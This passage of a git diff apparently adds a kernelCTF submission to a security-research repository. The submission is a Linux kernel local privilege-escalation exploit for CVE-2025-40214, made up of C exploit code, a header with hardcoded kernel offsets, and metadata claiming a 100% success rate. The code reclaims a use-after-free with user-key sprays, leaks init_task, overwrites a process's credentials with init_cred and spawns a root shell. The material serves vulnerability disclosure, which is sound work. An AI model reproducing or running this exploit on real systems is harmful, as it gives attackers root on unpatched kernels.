*(u64 *)(fake_skb_upper_data + 24) = init_task; + //*(u64 *)(fake_skb_upper_data) = init_task; + + user_key_payload_free(fake_skb_upper_key); + sleep(2); + + char leak_init_task_key_desc[128] = {}; + for (int i = 0; i < 32; i++) { + snprintf(leak_init_task_key_desc, sizeof(leak_init_task_key_desc), "leak_init_task_%d", i); + fake_skb_upper_keys[i] = user_key_payload_alloc(leak_init_task_key_desc, fake_skb_upper_data, 64); + } + + //wait_for_inspection("Enter to leak init task"); + u8 init_task_leak_buffer[4096] = {}; + recv(reclaim_side_sockfd, init_task_leak_buffer, 4096, MSG_PEEK); + + u64 next_task = *(u64 *)(init_task_leak_buffer + 1232); + u64 prev_task = *(u64 *)(init_task_leak_buffer + 1240); + + printf("[+] init next_task: 0x%016lx\n", next_task); + printf("[+] init prev_task: 0x%016lx\n", prev_task); + + int wait_pipe[2]; + pipe(wait_pipe); + int pid = fork(); + if (pid == 0) { + int wait_int; + read(wait_pipe[0], &wait_int, sizeof(wait_int)); + fprintf(stderr, "child wakeup\n"); + + int euid = geteuid(); + int uid = getuid(); + + if (euid == 0 || uid == 0) { + char sh_str[] = "sh"; + char *sh_args[] = {sh_str, NULL}; + execve("/bin/sh", sh_args, NULL); + exit(0); + } + } + + recv(reclaim_side_sockfd, init_task_leak_buffer, 4096, MSG_PEEK); + + next_task = *(u64 *)(init_task_leak_buffer + 1232); + prev_task = *(u64 *)(init_task_leak_buffer + 1240); + + printf("[+] init next_task: 0x%016lx\n", next_task); + printf("[+] init prev_task: 0x%016lx\n", prev_task); + + for (int i = 0; i < 32; i++) { + user_key_payload_free(fake_skb_upper_keys[i]); + } + + sleep(2); + + char write_to_task_struct_key_desc[128] = {}; + *(u64 *)(fake_skb_upper_data + 24) = prev_task - 0x4d0; // skb->data + *(u64 *)(fake_skb_upper_data + 16) = prev_task - 0x4d0; // skb->head + *(u32 *)(fake_skb_upper_data + 12) = 0xFFFFFFFF; // skb->end + *(u32 *)(fake_skb_upper_data + 8) = 0x770; // skb->tail (offset to real_cred) + + for (int i = 0; i < 80; i++) { + snprintf(write_to_task_struct_key_desc, sizeof(write_to_task_struct_key_desc), + "write_to_task_%d", i); + fake_skb_upper_keys[i] = user_key_payload_alloc( + write_to_task_struct_key_desc, + fake_skb_upper_data, + 64 + ); + } + + u8 overwrite_task_buf[4096] = {}; + *(u64 *)(overwrite_task_buf + 0) = init_cred; + *(u64 *)(overwrite_task_buf + 8) = init_cred; + *(u64 *)(overwrite_task_buf + 88) = init_fs; + + u64 buffer_size = 0xFFFFFFFF - 1; + Setsockopt(reclaim_side_sockfd, AF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &buffer_size, sizeof(buffer_size)); + + //wait_for_inspection("Enter to overwrite task_struct"); + send(send_to_reclaim_side_sockfd, overwrite_task_buf, 96, 0); + + fprintf(stderr, "ready to wake child\n"); + int uid = getuid(); + int euid = geteuid(); + + if (uid == 0 || euid == 0) { + fprintf(stderr, "somehow we become root\n"); + char sh_str[] = "sh"; + char *sh_args[] = {sh_str, NULL}; + execve("/bin/sh", sh_args, NULL); + exit(0); + } + + int wake_int; + write(wait_pipe[1], &wake_int, sizeof(wake_int)); + + fprintf(stderr, "wake child done\n"); + wait(NULL); + + for ( ;; ) { + sleep(1000); + } + + //wait_for_inspection("check"); +} diff --git a/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/lts-6.12.54/exploit.hpp b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/lts-6.12.54/exploit.hpp new file mode 100644 index 000000000..d4366ccb7 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/lts-6.12.54/exploit.hpp @@ -0,0 +1,287 @@ +#ifndef EXPLOIT_H +#define EXPLOIT_H + +//#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +//#include + +typedef uint8_t u8; +typedef uint64_t u64; +typedef uint32_t u32; +typedef uint16_t u16; + +void unix_error(const char *msg); +void Pthread_error(const char *msg, int error_code); +int Socket(int domain, int type, int protocol); +void Socketpair(int domain, int type, int protocol, int socket_vector[2]); +void Setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen); +void Connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); +void Bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); +void Getsockname(int sockfd, struct sockaddr *addr, socklen_t *addrlen); +void Listen(int sockfd, int backlog); +int Accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); +ssize_t Sendmsg(int socket, const struct msghdr *message, int flags); +ssize_t Recvmsg(int socket, struct msghdr *message, int flags); +ssize_t Send(int sockfd, const void *buf, size_t size, int flags); +ssize_t Sendto(int sockfd, const void *msg, size_t length, int flags, const struct sockaddr *dst_addr, socklen_t dst_len); +ssize_t Recv(int sockfd, void *buf, size_t size, int flags); +void *Calloc(size_t nelem, size_t elsize); +void Close(int fd); +void Ioctl(int fd, unsigned long op, unsigned long arg); +void Unshare(int flags); +void Getrlimit(int resource, struct rlimit *rlim); +void Setrlimit(int resource, const struct rlimit *rlim); +void Sched_setaffinity(pid_t pid, size_t cpusetsize, const cpu_set_t *cpuset); +void Pthread_create(pthread_t *newthread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg); +void Pthread_join(pthread_t thread, void **retval); +void Pthread_setaffinity_np(pthread_t thread, size_t cpusetsize, const cpu_set_t *cpuset); +void pin_thread_on_cpu(int cpu); +void sendfds( + int unix_sockfd, + void *data, + size_t data_len, + int *fds, + int fds_len, + struct sockaddr_un addr, + socklen_t addrlen +); +void recvfds(int unix_sockfd, void *data, size_t data_len, int *fds, int fds_len, int msg_peek); + +struct unix_gc_thread { + pthread_t handle; + pthread_mutex_t mutex; + pthread_cond_t cond; + bool quit; + bool trigger_gc; + bool gc_complete; + int trigger_gc_fd; + int wait_for_gc_fd; +}; + +void *unix_gc_thread_fn(void *arg); +void unix_gc_thread_init(struct unix_gc_thread *t); +void unix_gc_thread_cleanup(struct unix_gc_thread *t); +void unix_gc_trigger(struct unix_gc_thread *t); +void unix_gc_wait(struct unix_gc_thread *t); +void unix_gc_thread_quit(struct unix_gc_thread *t); + +#define SCM_MAX_FD 253 + + +#define UAF_OOB_SKB_BYTE_DATA (u8)0x41 +#define RECLAIM_UAF_OOB_SKB_BYTE_DATA_1 (u8)0x42 +#define RECLAIM_UAF_OOB_SKB_BYTE_DATA_2 (u8)0x43 + +struct exploit_kernel_unix_graph { + int stream_unix_socket_A_fd; + int stream_unix_socket_B_fd; + int stream_unix_socket_C_fd; + int dgram_unix_socket_D_fd; +}; + +void exploit_kernel_unix_graph_prepare(struct exploit_kernel_unix_graph *p); +void exploit_kernel_unix_graph_build_stage_1(struct exploit_kernel_unix_graph *p); +void exploit_kernel_unix_graph_build_stage_2(struct exploit_kernel_unix_graph *p); +void exploit_kernel_unix_graph_cleanup(struct exploit_kernel_unix_graph *p); + +struct cyclic_kernel_unix_graph { + int dgram_unix_socket_fd; +}; + +void cyclic_kernel_unix_graph_prepare(struct cyclic_kernel_unix_graph *p); +void cyclic_kernel_unix_graph_build(struct cyclic_kernel_unix_graph *p); +void cyclic_kernel_unix_graph_cleanup(struct cyclic_kernel_unix_graph *p); + +struct kernel_unix_vertex_spray { + int vertex_count; + int *dgram_unix_socket_fds; +}; + +void kernel_unix_vertex_spray_prepare(struct kernel_unix_vertex_spray *p, int spray_count); +void kernel_unix_vertex_spray_trigger_alloc(struct kernel_unix_vertex_spray *p); +void kernel_unix_vertex_spray_trigger_free(struct kernel_unix_vertex_spray *p); +void kernel_unix_vertex_spray_cleanup(struct kernel_unix_vertex_spray *p); + +void prepare_uaf( + struct exploit_kernel_unix_graph *exploit_kernel_unix_graph, + struct cyclic_kernel_unix_graph *cyclic_kernel_unix_graph, + struct kernel_unix_vertex_spray *kernel_unix_vertex_spray, + struct unix_gc_thread *unix_gc_thread +); + +bool trigger_uaf( + struct exploit_kernel_unix_graph *exploit_kernel_unix_graph, + struct unix_gc_thread *unix_gc_thread +); + +bool uaf_success(int victim_socket_fd); + +#define SKBUFF_HEAD_CACHE_OBJS_PER_SLAB 16 +#define VSOCKPAIR_SEND_SIDE 0 +#define VSOCKPAIR_RECV_SIDE 1 +#define MAX_PORT_RETRIES 24 +#define LAST_RESERVED_PORT 1023 + +void setup_nofile_rlimit(void); + +static inline void wait_for_inspection(const char *msg) +{ + fprintf(stderr, "%s\n", msg); + getchar(); +} + +struct callback_head { + void *next; + void (*func)(struct callback_head *head); +} __attribute__((aligned(sizeof(void *)))); +#define rcu_head callback_head + +#define __aligned(x) __attribute__((__aligned__(x))) + +struct user_key_payload { + struct rcu_head rcu; /* RCU destructor */ + unsigned short datalen; /* length of this data */ + char data[] __aligned(__alignof__(u64)); /* actual data */ +}; + +void keyutils_error(const char *msg) +{ + fprintf(stderr, "%s: %s\n", msg, strerror(errno)); + exit(EXIT_FAILURE); +} + +key_serial_t Add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) +{ + key_serial_t key = add_key(type, description, payload, plen, ringid); + if (key < 0) + keyutils_error("add_key"); + return key; +} + +long Keyctl_read(key_serial_t id, char *buffer, size_t buflen) +{ + long rc = keyctl_read(id, buffer, buflen); + if (rc < 0) + keyutils_error("keyctl_read"); + return rc; +} + +void Keyctl_unlink(key_serial_t id, key_serial_t ringid) +{ + if (keyctl_unlink(id, ringid) < 0) + keyutils_error("keyctl_unlink"); +} + +key_serial_t user_key_payload_alloc(const char *desc, void *data, size_t n) +{ + key_serial_t key = Add_key("user", desc, data, n, KEY_SPEC_USER_KEYRING); + return key; +} + +void user_key_payload_read(key_serial_t key, void *buf, long n) +{ + if (Keyctl_read(key, (char *)buf, n) != n) + exit(EXIT_FAILURE); +} + +void user_key_payload_free(key_serial_t key) +{ + if (key != -1) + Keyctl_unlink(key, KEY_SPEC_USER_KEYRING); +} + +struct sk_buff_head { + void *next; + void *prev; + u32 qlen; + int lock; +}; + +struct virtio_vsock_sock { + struct vsock_sock *vsk; + int tx_lock; + int rx_lock; + u32 tx_cnt; + u32 peer_fwd_cnt; + u32 peer_buf_alloc; + size_t bytes_unsent; + u32 fwd_cnt; + u32 last_fwd_cnt; + u32 rx_bytes; + u32 buf_alloc; + u32 buf_used; + struct sk_buff_head rx_queue; + u32 msg_count; +}; + +static inline bool is_data_look_like_virtio_vsock_sock(void *data) +{ + struct virtio_vsock_sock *vvs = (struct virtio_vsock_sock *)data; + u64 vsk = (u64)vvs->vsk; + u64 rx_queue_next = (u64)(vvs->rx_queue.next); + u64 rx_queue_prev = (u64)(vvs->rx_queue.prev); + + return (vsk >> 48) == 0xFFFF && + vvs->tx_lock == 0 && + vvs->rx_lock == 0 && + (rx_queue_next >> 48) == 0xFFFF && + (rx_queue_prev >> 48) == 0xFFFF && + rx_queue_next == rx_queue_prev && + vvs->rx_queue.lock == 0; +} + +#define TOTAL_USER_KEY_PAYLOAD_1 170 +#define TOTAL_USER_KEY_PAYLOAD_2 85 +#define TOTAL_USER_KEY_PAYLOAD_3 85 +#define TOTAL_USER_KEY_PAYLOAD_4 1 +#define SKB_LEN_OVERLAP_OFFSET 56 +#define UNIXCB_CONSUMED_OFFSET 12 +#define SKB_USERS_OFFSET 60 + + +#define USER_KEY_PAYLOAD_DATALEN_OFFSET 40 + +struct gate_struct { + uint16_t offset_low; + uint16_t segment; + uint16_t bits; + uint16_t offset_middle; + uint32_t offset_high; + uint32_t reserved; +}; + +/* +static u64 asm_exc_divide_error_offset_from_kernel_base = 0x1801030; +static u64 init_task = 0x300d0c0; +static u64 init_cred = 0x30953a0; +static u64 init_fs = 0x3209a20; +*/ + +static u64 asm_exc_divide_error_offset_from_kernel_base = 0x1801030; +static u64 init_task = 0x300d0c0; +static u64 init_cred = 0x30953a0; +static u64 init_fs = 0x3209a20; + +#endif // EXPLOIT_H diff --git a/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/metadata.json new file mode 100644 index 000000000..0a6fa3cce --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/metadata.json @@ -0,0 +1,32 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp432", "exp435"], + "vulnerability": { + "cve": "CVE-2025-40214", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=60e6489f8e3b086bd1130ad4450a2c112e863791", + "affected_versions": [ + "6.9 - 6.17" + ], + "requirements": { + "attack_surface": [], + "capabilities": [], + "kernel_config": [ + "CONFIG_UNIX" + ] + } + }, + "exploits": { + "lts-6.12.54": { + "environment": "lts-6.12.54", + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "100% success rate" + }, + "cos-113-18244.521.7": { + "environment": "cos-113-18244.521.7", + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "100% success rate" + } + } +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/original_exp432.tar.gz b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/original_exp432.tar.gz new file mode 100644 index 000000000..a4e426477 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/original_exp432.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/original_exp435.tar.gz b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/original_exp435.tar.gz new file mode 100644 index 000000000..a232b5395 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/original_exp435.tar.gz differ